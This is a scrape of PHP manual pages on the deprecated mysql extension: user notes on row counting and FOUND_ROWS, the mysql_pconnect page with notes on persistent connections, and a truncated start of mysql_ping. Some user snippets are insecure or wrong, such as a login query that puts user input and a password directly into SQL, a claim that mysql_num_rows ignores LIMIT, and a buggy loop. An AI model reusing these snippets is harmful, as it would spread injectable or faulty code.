In preventing the race condition for the SQL_CALC_FOUND_ROWS and FOUND_ROWS() operations, it can become complicated and somewhat kludgy to include the FOUND_ROWS() result in the actual result set, especially for complex queries and/or result ordering. The query gets more complex, you may have trouble isolating/excluding the FOUND_ROWS() result, and mysql_num_rows() will return the number of actual results + 1, all of which makes your code messier and harder to read. However, the race condition is real and must be dealt with.

A alternative and cleaner method is to explicitly lock the table using a WRITE lock (preventing other processes from reading/writing to the table). The downsides I can see are a performance hit, and your mysql user must have lock permissions.

<?php
    // excuse the use of mysqli instead of mysql

    $mysqli->query("LOCK TABLE t WRITE");
    $results = $mysqli->query("SELECT id FROM t LIMIT 0,10");
    $totalNumResults = array_pop($mysqli->query("SELECT FOUND_ROWS()")->fetch_row());
    $mysqli->query("UNLOCK TABLES");
?>

Now you may iterate through the results just like any other result set.
Tom Fejfar 05-Jun-2008 01:56
Improvement to chrisdberry82 at gmail dot com's code:

<?php
$sql = "
SELECT SQL_CALC_FOUND_ROWS
  '0', z.id
FROM
  zoom AS z
LIMIT
  0,6
UNION
  SELECT
    '1', FOUND_ROWS()
ORDER BY `0` DESC , RAND()";
?>

You can see, that you can even ORDER the final result anyway you like ;)
Then you can fetch the result like this:
<?php
$res = mysql_query($sql);
$count = mysql_fetch_assoc($res);
while($row = mysql_fetch_assoc($res)){
 unset($row["0"]); //get rid of the "sorting col"
 print_r($row); //or whatever ;)
}
echo $count["id"]; // the total number of rows
?>

And you got rid of the lousy IFs ;)
timo 27-May-2008 09:03
<?
$strQuery="SELECT * FROM `tabel`";
$strResult = mysql_query($strQuery);
$Aantalvelden = mysql_num_fields($strResult);
$Aantalrijen=mysql_num_rows($strResult);

echo "<table border='1'><tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strVeldnaam = mysql_field_name($strResult,$ikolom);
echo "<td>$strVeldnaam</td>" ;
}
echo "</tr>";

for($ir=0;$irij<$Aantalrijen;$irij++){
echo "<tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strKolomwaarde = mysql_result($strResult,$irij,$ikolom);
echo "<td>$strKolomwaarde</td>";
}
}
echo "</table>";
?>
chrisdberry82 at gmail dot com 25-May-2008 10:46
The following code can wrap it all up in a single query so you don't have to worry about multiple client requests:

$stmtMain = $mysqli->prepare("SELECT SQL_CALC_FOUND_ROWS jobid,title FROM tbljobs
    LIMIT ?, ? UNION SELECT FOUND_ROWS(),'!!IgnoreCount!!';")

Then iterate through the results with something like:

while ($stmtMain->fetch() && $strResultTitle !="!!IgnoreCount!!") {
//do stuff
}
($strResultSector == '!!IgnoreCount!!')? $intTotal = $intResultCount : 1;
deaggi at deaggi dot net 20-Aug-2007 12:45
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>

johannes
webmaster dasourcerer net 20-Aug-2007 05:42
In one of my applications, I had to let an object know wether it exists in the database or not. I found a cheap solution w/o the usage of mysql_num_rows():

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
Typer85 at gmail dot com 16-Jul-2007 11:44
A note on the following usage; that suggest to use several MySQL Functions to get the number of Table Records.

You may be familiar with following:

<?php

$sqlQuery = 'Select SQL_CALC_FOUND_ROWS `MyField` From `MyTable` Limit 1;';

$sqlQuery_1 = 'Select FOUND_ROWS( );';

?>

I omitted the actual connection to MySQL and the execution of the query, but you get the idea.

I did some tests and on a fairly high traffic web site, one that executes several queries quite often and found that using this combination of MySQL Functions can actually result in wrong results.

For example, assume I have two queries to get the number of Table Records in two different Tables. So in essence, we are executing 4 queries ( 2 queries for each Table ).

If two different requests come in through PHP, your going to run into problems. Note than when I mean request, I mean two different clients requesting your PHP page.

---------------
Request 1:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 1

---------------
Request 2:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 2

---------------
Request 1:
---------------

Execute: Select FOUND_ROWS( )

At this point, you see the race condition that occurred. While Request 1 was being executed, Request 2 came in.

At this point Request 1 will return the number of Table Records in Table 2 and not Table 1 as expected!

Why? Because MySQL does not differ between requests. Each query is in a queue waiting its turn. As soon as its turn comes in it will be executed my MySQL.

The MySQL Function Select FOUND_ROWS( ) will return the result of the last SQL_CALC_FOUND_ROWS!

Keep in mind.
eriline dot mees at mail dot ee 27-Dec-2005 08:28
If you have a problem using:
    $res1=mysql_query("select SQL_CALC_FOUND_ROWS * from minutabel LIMIT 20");
    $res2=mysql_query("select FOUND_ROWS()");
($res2 got always "0")
then be sure the php.ini config option "mysql.trace_mode" is "Off".

You can use
    $vana=ini_set('mysql.trace_mode','Off');
    // do your $res1 and $res2 queries.
    ini_set('mysql.trace_mode',$vana);
for temporary disabling.
Jonas 08-Dec-2005 01:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
    SELECT
        FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
mancini at nextcode dot org 14-Nov-2005 01:24
here is a really fast mysql_num_rows alternative that makes use of the SELECT FOUND_ROWS() MySQL function , it only reads a single row and it is really helpfull if you are counting multiple tables with thousands of rows

<?php
function get_rows ($table) {
        $temp = mysql_query("SELECT SQL_CALC_FOUND_ROWS * FROM $table LIMIT 1");
        $result = mysql_query("SELECT FOUND_ROWS()");
        $total = mysql_fetch_row($result);
        return $total[0];
}
?>
simon_nuttall at hotmail dot com 12-Nov-2005 07:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
jonbendi @t stud o ntnu o no 07-Nov-2005 06:16
I find that mysql_num_rows() overlook LIMIT clauses.
For instance:

//table has 700 rows
$command = "SELECT * FROM table LIMIT 500";
$q = mysql_query($command);
$rows = mysql_num_rows($q);

//$rows is 700
wil1488 at gmail dot com 31-May-2005 07:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
jsirovic AT g male dot com 19-May-2005 08:34
The reason it's just as slow is that to count that way as it is to fetch, minus the data transfer.

Even when executing a limit query, when you ask it to fetch the number of total rows, it must scan the whole table every time to calculate the count.
alex dot feinberg 4t gm41l 28-Apr-2005 03:56
Re dzver at abv dot bg's note...

I just ran some tests using MySQL Super Smack. Surprisingly, a SELECT * followed by a SELECT COUNT(*) actually was close in speed to a SELECT SQL_CALC_FOUND_ROWS * followed by a SELECT FOUND_ROWS(), but the SQL_CALC_FOUND_ROWS solution was still a bit faster.

Perhaps it varies by table structure? Either way, it might be worth checking which is faster for your application.
liamvictor at gmail dot com 13-Apr-2005 05:22
// this works properly
$query = "SELECT first_name FROM users_tbl WHERE user_id='$user_id' AND password = '$p0' ";
$result = mysql_query($query, $connection) or die ("<p class=err>Error - Query failed: ".mysql_error()."</p>");
$num_rows = mysql_num_rows($result);
if ($num_rows){
    while ($myrow = mysql_fetch_row($result)){
        $first_name = $myrow[0];
        print ("<p>Line:".__LINE__." num_rows:$num_rows first_name:$first_name <br> $query</p>");
    }
}else{
    print ("<p>Password error.</p>");
}

// Here 1 row is returned with a value of 0 when the password is wrong rather than reporting the password error.
$query = "SELECT COUNT(first_name) FROM users_tbl WHERE user_id='$user_id' AND password = '$p0' ";
$result = mysql_query($query, $connection) or die ("<p class=err>Error - Query failed: ".mysql_error()."</p>");
$num_rows = mysql_num_rows($result);
if ($num_rows){
    while ($myrow = mysql_fetch_row($result)){
        $count_first_name = $myrow[0];
        print ("<p>Line:".__LINE__." num_rows:$num_rows count:$count_first_name <br> $query</p>");
    }
}else{
    print ("<p>Password error.</p>");
}
dzver at abv dot bg 20-Feb-2005 05:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
29-Jan-2005 05:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com 15-Dec-2004 09:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com 18-Nov-2004 03:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
    print "other-html-within-sched-here</div>";
    }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com 18-Nov-2004 02:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2     etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
They call me .. "Blaqy" 08-Nov-2004 07:30
Just wanted to add my 2 cents in regards to the mysql functions:
SQL_CALC_FOUND_ROWS
SELECT FOUND_ROWS()

It was difficult finding any information on PHP usage.
What wasn't (or currently isn't) mentioned is that:

$query = "SELECT FOUND_ROWS()";

Will return a 'recordset' .. that holds the 'number of rows', not the actual value.  So the correct usage is:

$result = mysql_query($query);
$total_records = mysql_result($result, 0);

Not:
$total_records = mysql_query($query);

As some of the literature .. may suggest to you.
sam at liddicott dot com 04-Nov-2004 05:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm 21-Feb-2003 05:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
webmaster at _NOSPAM_elite-gaming dot com 10-Oct-2002 07:48
The fastest way to get the number of rows in a table is doing this:

$total = mysql_result(mysql_query("SELECT COUNT(id) FROM yourtable"),0);

As long as there are no NULL ids (shouldnt be), it will return the correct rows extremely fast.  If you already used yourtable though, it is faster to use mysql_num_rows() on the result of it.
tac at smokescreen dot org 13-Jan-2002 11:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m 06-May-2001 11:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.
mysql_num_fields
mysql_pconnect
MySQL Functions


Open a persistent connection to a MySQL server

mysql_num_rows
mysql_ping
MySQL Functions
PHP Manual

mysql_pconnect

(PHP 4, PHP 5)

mysql_pconnect — Open a persistent connection to a MySQL server

Description

resource mysql_pconnect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, int $client_flags ]]]] )

Establishes a persistent connection to a MySQL server.

mysql_pconnect() acts very much like mysql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mysql_close() will not close links established by mysql_pconnect()).

This type of link is therefore called 'persistent'.

Parameters

server

The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost.

If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306'

username

The username. Default value is the name of the user that owns the server process.

password

The password. Default value is an empty password.

client_flags

The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE.

Return Values

Returns a MySQL persistent link identifier on success, or FALSE on failure.

Changelog

Version | Description
4.3.0 | Added the client_flags parameter.

Notes

Note:

Note, that these kind of links only work if you are using a module version of PHP. See the Persistent Database Connections section for more information.

Warning

Using persistent connections can require a bit of tuning of your Apache and MySQL configurations to ensure that you do not exceed the number of connections allowed by MySQL.

Note:

You can suppress the error message on failure by prepending a @ to the function name.

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • Persistent Database Connections

User Contributed Notes

shane 04-Jun-2011 12:35
The new mysqlnd library, which replaces the old libmysql, should make disappearing connections a thing of the past. It refreshes the connection (either change_user or ping) before trying to use it. (It also uses less memory, and generally has better performance.) I've only tried it with mysqli, but the native extension also uses it. It's available for PHP >= 5.3, MySQL >= 4.1.
seawyvern at gmail dot com 13-Aug-2010 12:10
(using PHP v5.3.2)
This might help other people who are running into a similar issue. I would occasionally get this error in my apache error log:

PHP Warning:  mysql_pconnect(): MySQL server has gone away

It appears the persistent connection mysql_pconnect() was returning had timed out and mysql_pconnect() didn't detect it. To address this issue I added some code to check for this case using mysql_ping() and request another connection from mysql_pconnect() if this situation occurred. It appears that the combination of the checking for the time out with mysql_ping( ) and re-requesting the connection with mysql_pconnect( ) either caused the original connection to re-connect or forced mysql_pconnect() to recognize that the connection had timed out and request a new one. The documentation for mysql_ping( ) says that it will force a re-connect if it detects a timeout, however comments on the documentation page mention that this feature has been disabled for some time. Anyways here is the code I used, hope it helps:

$dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );

if ( !mysql_ping( $dbConnection ) )
{
   $dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );
}
Tom 28-Dec-2009 05:43
Persistent connections work well for CGI PHP managed by fastCGI, contrary to the suggestion above that they only work for the module version. That's because fastCGI keeps PHP processes running between requests. Persistent connections in this mode are easily made immune to connection limits too, because you can set PHP_FCGI_CHILDREN << mysql's max_connections <<< Apache's MaxClients. This also saves resources.
David 26-Sep-2009 01:45
Right after I upgraded to PHP 5.3 I started getting "MySQL server has gone away" errors on almost every other page request from the apache server. I tried a few ideas that didn't work. Here is the solution: I changed all my mysql_pconnect() statements to mysql_connect(). It fixed the problem. For some reason PHP 5.3 does not like persistent connections.
david at hundsness dot com 11-Sep-2008 10:44
Here's a recap of important reasons NOT to use persistent connections:

* When you lock a table, normally it is unlocked when the connection closes, but since persistent connections do not close, any tables you accidentally leave locked will remain locked, and the only way to unlock them is to wait for the connection to timeout or kill the process. The same locking problem occurs with transactions. (See comments below on 23-Apr-2002 & 12-Jul-2003)

* Normally temporary tables are dropped when the connection closes, but since persistent connections do not close, temporary tables aren't so temporary. If you do not explicitly drop temporary tables when you are done, that table will already exist for a new client reusing the same connection. The same problem occurs with setting session variables. (See comments below on 19-Nov-2004 & 07-Aug-2006)

* If PHP and MySQL are on the same server or local network, the connection time may be negligible, in which case there is no advantage to persistent connections.

* Apache does not work well with persistent connections. When it receives a request from a new client, instead of using one of the available children which already has a persistent connection open, it tends to spawn a new child, which must then open a new database connection. This causes excess processes which are just sleeping, wasting resources, and causing errors when you reach your maximum connections, plus it defeats any benefit of persistent connections. (See comments below on 03-Feb-2004, and the footnote at http://devzone.zend.com/node/view/id/686#fn1)
JM 26-Apr-2008 09:16
If you get an error message which refers to a failure regarding /var/mysql/mysql.sock, try changing your php.ini so that mysql.default_socket=/tmp/mysql.sock
Sabyasachi Ruj 17-Aug-2007 01:00
If you are using mysql_pconnect(), and say the MySQL server has five persistent connection pooled for that client.

Now mysql_pconnect can return any one of them.

So, If you are expecting that mysql_pconnect will return always use the same persistent connection, that is not the case.

So, say you are executing after connecting with mysql_pconnect:

set @aa=6;

And in another page you have again done mysql_pconnect, and executed:

select @aa;

That will not necessarily return '6' as the result!

Because the second mysql_pconnect can take another persistent connection from that server's connection pool.
Nils Meyer nils at weiss-bescheid dot de 07-Aug-2006 06:03
Be careful when setting variables on a persistent mysql connection. Example:
// Set result charset to UTF8
mysql_query("SET SESSION character_set_results = 'UTF8'");

If another script reuses your persistent connection, it will also use the UTF-8 charset. This created a problem with typo3 and TemplaVoila, which reads serialized data from the database. The data is returned as UTF8, but the script expects latin1 and dies with a serialize error ("Template Object could not be unserialized successfully."). This problem is especially tricky because it works on some requests and crashes on others - because the variable is not set on all connections in the persistent connection pool.

A possible solution is to reset variables to their default value afterwards:
$ret = mysql_query("SHOW VARIABLES LIKE 'character_set_results'");
list($foo, $old_charset) = mysql_fetch_assoc($ret);
mysql_query("SET SESSION character_set_results = 'UTF8'");
// do some fancy utf8 stuff
// ..

// revert to old encoding
mysql_query("SET SESSION character_set_results = '$old_charset'");

or simply use mysql_connect(), as previously stated it makes more sense in most enviroments and there are less things to bother with   (like variables, transactions, temporary tables).
3ch0 20-May-2006 02:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron 15-Sep-2005 08:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
    $con = MySQLConnectionFactory::create();

Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
    static $SERVERS = array(
    array(
        'host' => 'myHost1',
        'username' => 'myUsername1',
        'password' => 'myPassword1',
        'database' => 'myDatabase1'),
    array(
        'host' => 'myHost2',
        'username' => 'myUsername1',
        'password' => 'myPassword2',
        'database' => 'myDatabase2')
    );

    public static function create() {
    // Figure out which connections are open, automatically opening any connections
    // which are failed or not yet opened but can be (re)established.
    $cons = array();
    for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
        $server = MySQLConnectionFactory::$SERVERS[$i];
        $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
        if (!($con === false)) {
        if (mysql_select_db($server['database'], $con) === false) {
            echo('Could not select database: ' . mysql_error());
            continue;
        }
        $cons[] = $con;
        }
    }
    // If no servers are responding, throw an exception.
    if (count($cons) == 0) {
        throw new Exception
        ('Unable to connect to any database servers - last error: ' . mysql_error());
    }
    // Pick a random connection from the list of live connections.
    $serverIdx = rand(0, count($cons)-1);
    $con = $cons[$serverIdx];
    // Return the connection.
    return $con;
    }
}
?>
tomek at 3kropki dot pl 29-Dec-2004 09:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it 19-Nov-2004 05:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg 27-Oct-2004 10:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com 06-Jul-2004 05:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net 10-Mar-2004 08:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org 03-Feb-2004 04:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com 15-Jan-2004 03:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz 04-Nov-2003 10:53
Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com 05-Aug-2003 11:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com 18-Jul-2003 11:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com 12-Jul-2003 08:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).   They won't ROLLBACK automatically on error, like they ought to.   When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.   Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.   Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua 08-Apr-2003 07:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net 11-Mar-2003 10:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com 30-Oct-2002 03:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org 23-Apr-2002 11:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com 26-Feb-2002 02:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
aramos at lander dot es 07-Mar-2001 10:15
If your MySQL recive this error log: "Got an error reading communication packets" see this post: http://marc.theaimsgroup.com/?l=php-dev&m=97858932431876&w=2. This patch work property in 4.0.4pl1 (when httpd.conf have MaxRequestsPerChild non-cero)
aramos at lander dot es 07-Mar-2001 03:52
if you set wait_timeout, and you have high number of connection closed, you need too, set max_connect_errors (in MySQL) http://www.mysql.com/doc/en/Blocked_host.html
sasha at mysql dot com 27-Apr-2000 09:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL
mysql_num_rows
mysql_ping
MySQL Functions


Ping a server connection or reconnect if there is no connection

mysql_pconnect
mysql_query
MySQL Functions
PHP Manual

mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping — Ping a server connection or reconnect if there is no connection

Description

bool mysql_ping ([ resource $link_identifier ] )

Checks whether or not the connection to the server is working. If it has gone down, an automatic reconnection is attempted. This function can be used by scripts that remain idle for a long while, to check whether or not the server has closed the connection and reconnect if necessary.

Note:

Since MySQL 5.0.13, automatic reconnection feature is disabled.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE if the connection to the server MySQL server is working, otherwise FALSE.

Examples

Example #1 A mysql_ping() example

<?php
set_time_limit(0);

$conn = mysql_connect('localhost', 'mysqluser', 'mypass');
$db   = mysql_select_db('mydb');

/* Assuming this query will take a long time */
$result = mysql_query($sql);
if (!$result) {
